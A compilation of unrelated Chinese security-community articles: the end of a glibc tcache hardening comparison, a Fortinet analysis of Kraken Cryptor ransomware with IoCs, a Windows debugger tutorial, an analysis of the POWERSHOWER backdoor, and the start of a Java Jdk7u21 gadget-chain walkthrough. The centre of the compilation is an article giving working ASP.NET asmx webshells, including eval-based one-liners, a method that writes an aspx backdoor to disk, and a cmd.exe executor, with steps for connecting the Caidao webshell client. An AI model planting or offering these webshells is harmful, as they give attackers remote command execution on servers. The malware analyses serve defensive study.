原始定义：
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
新定义：
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
意义：
现在，将`chunk`从`Tcache`中移除时，将会清空新增的指针。
### 5.`int_free`中加入了新检查
原始定义：
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif
新定义：
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
意义：
现在，调用`int_free`时，将会检查整个`Tcache`链表，如果发现将要释放的`chunk`已存在于链表中将会报错`free(): double
free detected in tcache 2`。
### 6.`_int_realloc`中更改了定义
原始定义：
void*
_int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize,
INTERNAL_SIZE_T nb)
{
.........
unsigned long copysize; /* bytes to copy */
unsigned int ncopies; /* INTERNAL_SIZE_T words to copy */
INTERNAL_SIZE_T* s; /* copy source */
INTERNAL_SIZE_T* d; /* copy destination */
.........
{
/*
Unroll copy of <= 36 bytes (72 if 8byte sizes)
We know that contents have an odd number of
INTERNAL_SIZE_T-sized words; minimally 3.
*/
copysize = oldsize - SIZE_SZ;
s = (INTERNAL_SIZE_T *) (chunk2mem (oldp));
d = (INTERNAL_SIZE_T *) (newmem);
ncopies = copysize / sizeof (INTERNAL_SIZE_T);
assert (ncopies >= 3);
if (ncopies > 9)
memcpy (d, s, copysize);
else
{
*(d + 0) = *(s + 0);
*(d + 1) = *(s + 1);
*(d + 2) = *(s + 2);
if (ncopies > 4)
{
*(d + 3) = *(s + 3);
*(d + 4) = *(s + 4);
if (ncopies > 6)
{
*(d + 5) = *(s + 5);
*(d + 6) = *(s + 6);
if (ncopies > 8)
{
*(d + 7) = *(s + 7);
*(d + 8) = *(s + 8);
}
}
}
}
_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}
}
.........
}
新定义：
void* _int_realloc(mstate av, mchunkptr oldp, INTERNAL_SIZE_T oldsize,
INTERNAL_SIZE_T nb)
{
.........
/*
Avoid copy if newp is next chunk after oldp.
*/
if (newp == next)
{
newsize += oldsize;
newp = oldp;
}
else
{
memcpy (newmem, chunk2mem (oldp), oldsize - SIZE_SZ);
_int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}
}
}
.........
}
意义：
此处由原来的逐位复制直接变更为使用`memcpy`，实现上更加简洁。
### 7.`do_set_tcache_count`发生了变更
原始定义：
static inline int __always_inline do_set_tcache_count (size_t value)
{
LIBC_PROBE (memory_tunable_tcache_count, 2, value, mp_.tcache_count);
mp_.tcache_count = value;
return 1;
}
新定义：
static inline int __always_inline do_set_tcache_count (size_t value)
{
if (value <= MAX_TCACHE_COUNT)
{
LIBC_PROBE (memory_tunable_tcache_count, 2, value, mp_.tcache_count);
mp_.tcache_count = value;
}
return 1;
}
意义：
限制`tcache_count`的数目必须小于`MAX_TCACHE_COUNT`(即`127`)，防止发生溢出。
## 0x04 变化总结
以上几大变化基本上都是针对的`Tcache`进行的更新，且更新后的代码基本`100%`照搬`Glibc
2.31`的代码，因此我们可以直接利用`2.31`的思路，直接篡改`key`指针就可以完成利用了。 | 社区文章 |
# 分析“正式版”的Kraken Cryptor勒索软件
##### 译文声明
本文是翻译文章，文章原作者 Fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/analyzing-the-new-non-beta-version-of-the-kraken-cryptor-ransomw.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
FortiGuard实验室最近检测到了新版本的Kraken
Cryptor勒索软件，虽然这款变种配置文件中删除了beta标签，但依然存在许多bug，并且开发者仍然在不断修改该软件的基本功能。
这款勒索软件变种相对较新，仅从今年8月份开始传播。很明显这款勒索软件仍处于开发状态，开发者正往其中添加新的函数来改进其功能。然而，当我们分析最近的样本时，我们发现新版本的恶意软件仍然不太稳定，无法正常运行。恶意软件中充斥着代码错误，甚至还存在用于调试的消息框。在碰到多个不可用的版本后，我们最终找到了能够正常运行的一个样本。
在本文中，我们将分析能够“正常工作”的Kraken
Cryptor勒索软件，这款软件仍在开发中，开发者试图使其功能上能够更加稳定。如果大家想了解这款勒索软件基本功能的详细信息，可以访问McAfee上个月发表的一篇[分析文章](https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims)。
## 二、存在多个bug的2.1版
我们在11月上旬发现了2.1版，然后我们很快意识到这是一个存在bug的版本，在执行完毕后并不会感染我们的测试系统。之所以会发生这种情况，并不是因为样本中存在新的反分析功能，而只是因为样本会检查其配置文件中并不存在的一个标记（tag）。
图1. Kraken Cryptor Ransomware V2.1中读取配置字段值的bug
这样会导致该函数永远返回false，强迫恶意软件调用一个自清除函数结束运行并自行删除。
找到存在bug的这个样本后，我们又在几个小时之后发现了标记为2.1版的另一个样本，其中删掉了我们刚刚发现的bug。然而，这个版本中包含另一个错误，在获取地理位置的函数中存在一个逻辑异常处理问题，导致离线安装功能被禁用。这个函数会连接到ipinfo[.]io/json来获取系统的地理位置信息。如果无法建立连接，则会捕获到异常，然后不会为地理位置变量赋任何值，导致读取配置数据失败。因此，这个版本只能在在线环境中运行。
另一个有趣的地方在于，样本中还包含一个异常调试消息。
图2. Kraken Cryptor勒索软件中的调试消息对话框
有趣的是，我们在之前的v2.07版本中看到过一些MessageBox语句。然而2.1版本中的MessageBox语句数量更多。在过去的几天内，开发人员多次修改了Kraken
Cryptor勒索软件的源代码，在传播过程中没有删除这些调试消息，甚至也没有删除无法执行的bug。
我们还发现在同一个版本的配置数据中存在不同的电子邮件，因此我们相信这两个样本可能由不同的开发者编译。在这个样本中我们只找到了middleeast[@]cock.li这个邮箱，而本文中我们分析的其他样本中的邮箱都为onionhelp[@]memeware[.]net。
图3. 同一版本（2.1）不同样本中存在不同的邮箱
## 三、带有HelloWorld!特征的2..2版
分析存在bug的2.1版样本后，不久我们又发现了新的版本。更新版虽然离线安装功能依然处于禁用状态，但整体功能正常。其他所有功能与先前版本几乎完全相同，除了一个有趣的功能之外，这个功能可以在main函数的开头位置找到。
图4. 动态编译HelloWorld!
现在样本中添加了经过动态编译和执行的一个HelloWorld!示例源码。开发者貌似正在把玩源代码。
## 四、2.1版后修改功能
### 配置修改
这个新版样本在2.1版的配置文件的基础上新增了一个标签partner，该标签取代了旧版标签operate。
图5. 配置中的partner字段及api字符串中的beta字段（于2.1版中删除）
我们还发现2.1版已从配置数据中删除了beta标签。在2.07版中，这个标签在配置数据中的值为1，表明当时样本仍处于beta版中。然而在2.1版中，样本在API查询字符串中会将这个字段的值设置为0，这意味着该样本与beta版有所不同。
配置数据中还存在另一个改动：help_voice。
图6. 配置数据中的help_voice
通过这个配置文件，恶意软件会使用CScript来执行生成的Visual
Basic脚本文件（.vbs），脚本文件的内容位于API标志中。运行脚本文件后，恶意样本会语音念出配置数据中预置的文本内容。
图7. 执行CScript处理新创建的.vbs
最后一处改动就是skip_directories标签。恶意样本尝试跳过某些目录，以便加快加密过程。
在下图中，我们展示了2.07、2.1以及2.2版本间的不同的配置数据。红色方框高亮部分表示2.1版中跳过的某些目录。
图8. 2.07、2.1以及2.2版之间的配置更改
在2.2版中，我们还发现配置中的price以及price_unit采用USD来结算，并没有采用BTC，这与之前的版本有所不同。
### 删除anti-smb及anti-rdp
module标签内容与2.04版存在较大不同，如下图所示。开发者从2.07版开始删除了反分析模块中关于smb及rdp方面的配置。这些配置最早源自于2.04版，恶意软件使用smb以及rdp标签来阻止被感染环境使用smb及rdp连接。然而，我们没有在2.1及2.2版中找到这些功能。
图9. 2.04版中的模块配置
### 可疑的SelfKill检查
我们还在这两个新版本中找到了另一个有趣的检查过程。Kraken现在会检查特定的用户名、特定的文件甚至特定的IP或者国家代码。如果满足这些条件，恶意软件会停止感染系统，执行自删除操作。
图10. 可疑的SelfKill检查
比如，样本中出现的104.207.76[.]103这个IP地址隶属于意大利的那不勒斯地区。
图11. 使用IPINFO api检查地理位置
## 五、总结
Fortiguard实验室发现了Kraken
Cryptor勒索软件的最新版本，该版本从8月份以来一直处于开发状态中。在这个新版样本中，有些bug会导致恶意软件无法运行，或者会禁用老版样本中的一些功能。比如，离线文件加密模块现在会处于禁用状态。我们还发现虽然配置文件经过修改，但主要的功能并没有被大量修改。此外，我们发现虽然这个程序实际上仍处于“beta”状态（因为其中存在许多明显的错误），但开发者依然移除了程序的beta标签。
FortiGuard实验室会继续跟踪这个恶意软件家族。
## 六、解决方案
有以下解决方案能够保护Fortinet用户免受此类威胁：
* FortiGuard反病毒产品能够检测相关文件
* FortiGuard Web过滤服务能够阻止恶意URL及钓鱼URL
## 七、IoC
样本：
f1334e51705ba874bf61e50e57288228c2f1d8334c4c385f3b454cc6c07c982a - MSIL/Filecoder.PI!tr
d57d0689c2600b47faab6ac43e22daab1f76b4dfef35e7752a671b6bbe484b37 - MSIL/Filecoder.PI!tr
f7358b103185458619e7203c3de6ed503374914318fc2aee52ed1d704b0cb0a8 - MSIL/Filecoder.PI!tr
c915d380cc548876754f9c9f0c7ecb8ec6923f150cd77822ede330a2a9283d21 - MSIL/Filecoder.PI!tr
6fc366dbc035226190c72d93962d2ad3c1c1f9c93fa1f63a9b31eb969d3f57d7 - MSIL/Filecoder.PI!tr
30147aefa2a24c6c5efeef4b6f6980cfc04aa6cd7c85aff9a3cb8316a14bd2e7 - MSIL/Filecoder.PI!tr
0857d5f714e88a2347affff4a440d9c76e6ddd18265e1c9a7d1c9966b0bfe61a - MSIL/Filecoder.PI!tr
信息收集所使用的URL：
hxxps://2no[.]co/2FtQu5 - Malicious | 社区文章 |
**前言**
在动态分析的过程中，调试器是必不可少的工具。理解调试器的工作原理是有一定好处的，特别是在与反调试的对抗中，如双进程保护就是利用一个进程只能同时被一个调试器调试的特点，自行构造了一个调试器，若我们要对其进行分析，则必须掌握一定的调试原理。
接下来会给出一个简易调试器的例子，用于理解调试器的工作机制，麻雀虽小，五脏俱全。
**simple example**
先写一个拥有最基本的处理调试事件能力的程序，当它发现程序有一个软件断点即0xcc指令时，使EIP+1，并恢复之前的线程
#include <Windows.h>
#include <iostream>
BOOL Debug(DWORD pid)
{
if (pid == 0)
{
MessageBox(NULL, "please enter pid", "!!!!", MB_OK);
return FALSE;
}
if (!DebugActiveProcess(pid))
{
MessageBox(NULL, "debug process wrong", "!!!!", MB_OK);
return FALSE;
}
while (TRUE)
{
DEBUG_EVENT debug_event;
WaitForDebugEvent(&debug_event, INFINITE);
switch (debug_event.dwDebugEventCode)
{
case EXCEPTION_DEBUG_EVENT:
if (debug_event.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_BREAKPOINT)
{
MessageBox(NULL, "find a break point", "!!!!", MB_OK);
HANDLE hThread = debug_event.u.CreateProcessInfo.hThread;
CONTEXT context;
GetThreadContext(hThread, &context);
context.Eip++;
SetThreadContext(hThread, &context);
}
default:
break;
}
ContinueDebugEvent(pid, debug_event.dwThreadId, DBG_CONTINUE);
}
return TRUE;
}
int main()
{
DWORD pid, tid;
std::cout << "please enter the process id" << std::endl;
std::cin >> pid;
Debug(pid);
return 0;
}
接着我们写一个目标程序，我们用内联汇编写一行int 3指令，即0xcc
#include <iostream>
#include <string>
void bug()
{
_asm int 3;
std::cout << "now you clear the break point" << std::endl;
}
int main()
{
while (true)
{
std::cout << "you want a bug?(yes/no)" << std::endl;
std::string answer;
std::cin >> answer;
if (answer == "yes")
bug();
else if (answer == "no")
continue;
}
return 0;
}
接下来我们进行测试，首先找到被测程序的process id，然后输入到调试器中
然后我们在被测程序中输入yes，在弹窗之后程序就继续执行了
这说明我们的调试器起了作用，因为int 3指令会让程序中断下来，等待一个异常处理，而这里我们的调试器使其步过了这一指令，并恢复其执行。
下面来解释一下调试器部分的代码
DebugActiveProcess这个函数表示附加到目标进程上，并对其进行调试。这之后，调试器与进程间就算是建立起了通信。它的参数就是一个process
id。
通信方式是使用WaitForDebugEvent和ContinueDebugEvent两个API，前者用于接收被调试程序触发的调试事件，目标进程触发一个事件后就进行中断，等待调试器处理；后者用于唤醒已中断的目标进程。显然，我们首先需要关心的是debug
event。
DEBUG_EVENT结构定义如下
typedef struct _DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
} u;
} DEBUG_EVENT, *LPDEBUG_EVENT;
可以看到debug_event结构中有一些基本信息，如进程ID和线程ID。且debug
event种类很多，用一个union来表示各种事件的信息，而具体是哪一种事件，则由dwDebugEventCode字段来决定。这里我们要对0xcc进行处理，那这个debug_event.dwDebugEventCode是一个exception，在确认是0xcc异常后，对其线程上下文进行修改，使得EIP+1，然后程序就能恢复执行了。
通过这个例子，我们简单的了解了调试器的大体运作方式，它实质功能上是对从进程接收到的各种调试事件进行处理，至于这几个API的native层是如何实现的，以后有机会再写吧。 | 社区文章 |
Inception攻击者从2014年开始活跃，[Blue
Coat](https://www.symantec.com/connect/blogs/blue-coat-exposes-inception-framework-very-sophisticated-layered-malware-attack-targeted-milit)和[Symantec](https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies)都对其攻击活动进行过分析。攻击者使用适用于不同平台的定制化的恶意软件，攻击范围包括不同的国家和行业，主要攻击国是俄罗斯。本文分析2018年10月的一起利用CVE-2017-11882和PowerShell后门POWERSHOWER对欧洲目标发起的攻击。
Symantec最新的总结中描述了Inception攻击者使用2阶段鱼叉式钓鱼攻击的情况，攻击者首先发送一封侦查的鱼叉式钓鱼邮件，第二份鱼叉式钓鱼邮件中含有一个远程模板，如果加载，就传输第一阶段的payload。
在最近的攻击活动中只使用了一个文档，但是是以一种不马上显示final payload的形式出现的；但使用模板的情况是相同的。
# 远程模板
远程模板（Remote templates）是Microsoft
Word的一个特征，允许文档加载模板，而不论模板是外部存储的，还是文件共享的，或是位于互联网。当文档打开的时候，模板就会加载。Inception攻击者就将这一特征应用于恶意情景中，如图1所示：
图1. 攻击概览
这样使用远程模板是Inception攻击者过去4年持续使用的特征。这对攻击者来说，有3个主要的好处：
1. 初始文档并不含有任何恶意对象，只是简单地引用外部对象，也就是说可以绕过静态分析技术，示例如图2所示。
2. 攻击者根据接收到的数据应用恶意内容到受害者，接收到的数据包括Word版本、IP地址等，如图1所示。
3. 攻击完成后，保存远程模板的服务器就下线了，因此分析人员很难分析远程模板的内容。
图2. Inception文档引用远程模板示例
文件打开后，就会显示一个诱饵内容，并尝试通过HTTP的形式取回恶意远程payload。诱饵内容一般都是从媒体报告中复制的，一般都与攻击目标所在区域的政治主体相关，诱饵内容示例如图3所示。
图3. 2018年Inception攻击中的诱饵内容示例
第一个是2017年Facebook上的VGOPAD邀请函
第二个是欧盟政策中心的总结
大多数情况下，远程服务器并不会返回一个恶意模板，但研究人员发现了两个含有漏洞利用的恶意模板。模板中含有`CVE-2012-1856`和`CVE-2017-11882`漏洞利用，这两个漏洞分别是2012和2017年公布的word漏洞。
漏洞利用的payload是OLE包对象的VBScript，会解码和执行PowerShell后门`POWERSHOWER`。
# POWERSHOWER
文章开头提到攻击者在攻击活动中使用了两封钓鱼邮件，其中第一个只用来侦查。在最新的攻击活动中，研究人员发现只有一封文档发送给目标，该文档包含侦查、漏洞利用和payload传输于一体。
释放的payload
POWERSHOWER是初始化的侦查工具，用来下载和执行第二步的payload，第二步payload的特征更多。因为第一步只使用了一个简单的后门，复杂的恶意软件都放在之后的阶段，这样可以降低被反病毒软件发现的概率。
POWERSHOWER允许攻击者：
* 获取设备指纹信息，并上传到C2；
* 清楚dropper阶段的大量取证痕迹；
* 如果攻击者发现目标设备有价值，就运行第二阶段payload。
# POWERSHOWER分析
POWERSHOWER首先会检查Microsoft Word有没有运行。如果运行，恶意软件会假设是第一次运行，执行以下操作：
1. 将自己写入`%AppData%\Microsoft\Word\log.ps1`；
2. 运行run key来为该文件设置驻留；
3. 添加注册表，这样powershell.exe实例以后默认就会被大量复制；
4. 杀掉Microsoft Word进程；
5. 移除dropper阶段释放的所有文件，包括原始文件被打开的痕迹，初始`.VBS`文件，`IE临时文件目录`中与提取远程模板相关的临时文件等；
6. 移除dropper阶段遗留的所有注册表词条；
7. 在受感染机器上收集系统信息，并POST到C2；
8. 退出。
如果Microsoft Word没有运行，恶意软件就会进入主通信循环，按顺序执行下面的操作。该循环只有设备重启后才会进入：
1. 收集系统信息并POST到C2；
2. 执行GET请求；
3. 基于GET请求的状态码（status code），可能进行以下操作：
如果状态码不是200，恶意软件就休眠25～35分钟之间的随机值（根据随机生成的数字决定）；
如果状态码是200，恶意软件期望响应是：
P开头，恶意软件将响应写入硬盘，执行或用于随后的命令；
O开头，恶意软件认为响应中含有VBS代码，保存到磁盘，然后执行；
如果不是这两个字母开头，就认为是含有PowerShell表达式的XML文件，写入文件，读入内存，删除，然后执行。
主C2循环的代码如图4所示：
图4. 主C2 loop
虽然恶意软件非常简单，但也非常有效，给了攻击者运行下一个更复杂的payload的选项。
# 结论
Inception攻击仍少被发现，在最新的攻击活动中：
* 使用远程模板来妨碍分析人员对其历史攻击的分析。
* 在dropper阶段使用反取证技术来清除恶意软件安装和执行的相关线索。
* 第一阶段使用基本的POWERSHOWER后门，使分析人员很难获取攻击者使用的复杂payload的副本。
<https://researchcenter.paloaltonetworks.com/2018/11/unit42-inception-attackers-target-europe-year-old-office-vulnerability/> | 社区文章 |
# 探索基于.NET下实现一句话木马之asmx篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
上篇介绍了一般处理程序（ashx）的工作原理以及实现一句话木马的过程，今天接着介绍Web Service程序
（asmx）下的工作原理和如何实现一句话木马的介绍，当然介绍之前笔者找到了一款asmx马儿
<https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx>
，依旧是一个大马如下图
这个还只是对客户端的菜刀做了适配可用，暂时不符合一句话木马的特点哈，至于要打造一款居家旅行必备的菜刀马，还得从原理上搞清楚 asmx的运行过程。
## 0x02 简介和原理
Web Service是一个基于可编程的web的应用程序，用于开发分布式的互操作的应用程序，也是一种web服务，Web
Service的主要目标是跨平台的可互操作性，为了实现这一目标Web Service 完全基于XML（可扩展标记语言）、XSD（XML
Schema）等独立于平台、独立于软件供应商的标准，是创建可互操作的、分布式应用程序的新平台。简单的来说Web
Service具备三个要素SOAP（Simple Object Access
Protocol）、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery
andIntegration)之一， SOAP用来描述传递信息的格式， WSDL 用来描述如何访问具体的接口，
UDDI用来管理，分发查询webService ，也因此使用Web
Service有许多优点，例如可以跨平台工作、部署升级维护起来简单方便、实现多数据多个服务的聚合使用等等。再结合下图说明一下WebService工作的流程。
无论使用什么工具、语言编写 WebService，都可以使用 SOAP 协议通过 HTTP 调用，创建 WebService
后，任何语言、平台的客户都可以阅读 WSDL 文档来调用 WebService ，同时客户端也可以根据 WSDL 描述文档生成一个 SOAP
请求信息并发送到Web服务器，Web服务器再将请求转发给 WebService 请求处理器。
对于.Net而言，WebService请求处理器则是一个 .NET Framework 自带的 ISAPI
Extension。Web请求处理器用于解析收到的SOAP请求，调用
WebService，然后生成相应的SOAP应答。Web服务器得到SOAP应答后，在通过HTTP应答的方式将其返回给客户端，但WebService也支持HTTP
POST请求，仅需要在服务端增加一项配置即可。
## 0x03 一句话的实现
### 3.1、WebMethod
在Web
Service程序中，如果一个公共方法想被外界访问调用的话，就需要加上WebMethod，加上[WebMethod]属性的公有方法就可以被访问，而没有加这个属性的方法就是不能被访问的。将
WebMethod 属性 (Attribute) 附加到 Public 方法表示希望将该方法公开为 XML Web services
的一部分，它具备6个属性：Description
、EnableSession、MessageName、TransactionOption、CacheDuration、BufferResponse，为了更清晰的表述WebService请看下面这段代码
namespace test
{
[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.ComponentModel.ToolboxItem(false)]
// 若要允许使用 ASP.NET AJAX 从脚本中调用此 Web 服务，请取消注释以下行。
// [System.Web.Script.Services.ScriptService]
public class WebService2 : System.Web.Services.WebService
{
[WebMethod]
public string HelloWorld()
{
return "Hello World";
}
}
}
这里声明成一个字符串类型的公共方法HelloWorld，如果此时在方法体内实现创建aspx文件，保存内容为一句话小马的话那么这个WebService就变成了服务后门，依照这个推理就产生了C#版本的WebService小马，实现了两个功能，一个是创建文件，还有一个是执行CMD命令，核心代码如下：
[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
/**
Create A BackDoor
**/
public string webShell()
{
StreamWriter wickedly = File.CreateText(HttpContext.Current.Server.MapPath("Ivan.aspx"));
wickedly.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Ivan\"],\"unsafe\");%>");
wickedly.Flush();
wickedly.Close();
return "Wickedly";
}
[WebMethod]
/**
Exec Command via cmdShell
**/
public string cmdShell(string input)
{
Process pr = new Process();
pr.StartInfo.FileName = "cmd.exe";
pr.StartInfo.RedirectStandardOutput = true;
pr.StartInfo.UseShellExecute = false;
pr.StartInfo.Arguments = "/c " + input;
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
StreamReader osr = pr.StandardOutput;
String ocmd = osr.ReadToEnd();
osr.Close();
osr.Dispose();
return ocmd;
}
小马运行后执行CMD命令如下图
知道原理后就开始着手打造菜刀可用的一句话木马，和一般处理程序类似通过Jscript.Net的eval方法去实现代码执行，根据之前的介绍WebMethod有多个属性并且根据微软的官方文档
<https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29> 可以得出Jscript.Net中可以使用
WebMethodAttribute 来替代[WebMethod]。
一句话实现的代码如下：
<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}
打开浏览器，测试效果如下
依照SOAP1.1的规范要求，发送请求的数据包就可以实现一句话代码执行，笔者这里还是拿当前的时间作为攻击载荷，如下图
### 3.2、ScriptMethod
在研究WebMethod的时候，发现VisualStudio有段注释如下图
当客户端请求的方式是AJAX的时候会导入System.Web.Script.Services.ScriptService命名空间，笔者尝试去挖掘一下可能存在的新的攻击点
代码里ResponseFormat表示方法要返回的类型，一般为Json或者XML;
UseHttpGet等于true表示前台的ajax是通过GET可以访问此方法，如果前台ajax通过POST，则报错。
根据C#中的代码可知需要配置WebMethod和ScriptMethod才能正常玩转，而在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类，最终写出一句话木马服务端代码：
<%@ WebService Language="JScript" class="ScriptMethodSpy"%>
import System;
import System.Web;
import System.IO;
import System.Web.Services
import System.Web.Script.Services
public class ScriptMethodSpy extends WebService
{
WebMethodAttribute ScriptMethodAttribute function Invoke(Ivan : String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}
打开浏览器输入 Response.Write(DateTime.Now) 成功打印出当前时间
可惜的是这种方法不支持.NET 2.0究其原因是using
System.Web.Script.Services;这个命名空间并不在System.Web中，而是在ajax扩展中需要额外安装ASP.NET 2.0
AJAX Extensions，所以在2.0的环境下尽量避免使用该方法。
## 0X04 菜刀连接
菜刀不支持SOAP的方式提交payload，直接连接asmx文件就会出现下图错误
第一种解决方法可以自己写代码实现支持SOAP的客户端，第二种办法参考asmx页面最下方给出的HTTP POST提交方式
本地环境下用菜刀连接没问题，可以正常连接
但通常部署到服务器上可能会遇到下面的提示
The test form is only available for requests from the local machine.
解决上述的问题需要在web.config中配置webServices节点接收的Protoclos节点下需要包含HttpPost
<configuration>
<system.web>
<webServices>
<protocols>
<add name="HttpGet"/>
<add name="HttpPost"/>
</protocols>
</webServices>
<customErrors mode="Off" />
</system.web>
<system.webServer>
<directoryBrowse enabled="true" />
</system.webServer>
</configuration>
多数情况下程序开发者会支持HTTP
POST请求，所以对此不必过于担心。还有就是基于优化考虑将asmxWebMethodSpy.asmx进一步压缩体积后只有499个字节，asmxScriptMethodSpy.asmx也只有547个字节。
## 0x05 防御措施
1. 通过菜刀连接的方式，添加可以检测菜刀关键特征的规则；
2. 对于Web应用来说，尽量保证代码的安全性；
3. 对于IDS规则层面来说，上传的时候可以加入WebMethodAttribute等关键词的检测
## 0x06 小结
1. 还有本文提供了两种方式实现asmx一句话的思路，当然还有更多编写一句话的技巧有待发掘，下次将介绍另外一种姿势，敬请期待；
2. 文章的代码片段请参考 <https://github.com/Ivan1ee> ；
## 0x07 参考链接
<https://docs.microsoft.com/zh-cn/previous-versions/dotnet/netframework-1.1/1tyazy68%28v%3dvs.80%29>
<https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx>
<https://www.cnblogs.com/bpdwn/p/3479421.html>
<https://github.com/Ivan1ee> | 社区文章 |
# Java安全之Jdk7u21链分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
其实该链是想拿到后面再去做分析的，但是学习到Fastjson这个漏洞，又不得不使用到该链。那么在这里就来做一个简单的分析。
在前面分析的利用链中，其实大致都差不多都是基于`InvokerTransformer`和`TemplatesImpl`这两个类去进行执行命令，而其他的一些利用链也是基于这两个去进行一个变型。从而产生了新的利用链。而在这个Jdk7u21链中也是基于`TemplatesImpl`去实现的。
## 0x01 Jdk7u21链构造分析
先来看一下该利用链的在yso里面给出调用链
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
从这里其实可以看到JDK
7u21的这条链相对来说，比前面的链需要的知识量要大一些，分析得也会比较绕。但是其实到了`TemplatesImpl.getOutputProperties`这一步其实也是和前面的相同。
本篇文就直接使用yos里面的POC来展开话题。
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
因为是第一次写这个yso里面POC的分析文章，所以会写得详细一些。就先从第一行代码看起。
final Object templates = Gadgets.createTemplatesImpl(command);
这里是调用了`Gadgets.createTemplatesImpl`这个静态方法，并且传入执行的命令进去。来跟进一下该方法，查看该方法的实现。
这里是返回了他的重载的方法，并且把传入了命令与`TemplatesImpl`、`AbstractTranslet`、`TransformerFactoryImpl`这三个对象。来到他的重载方法中。
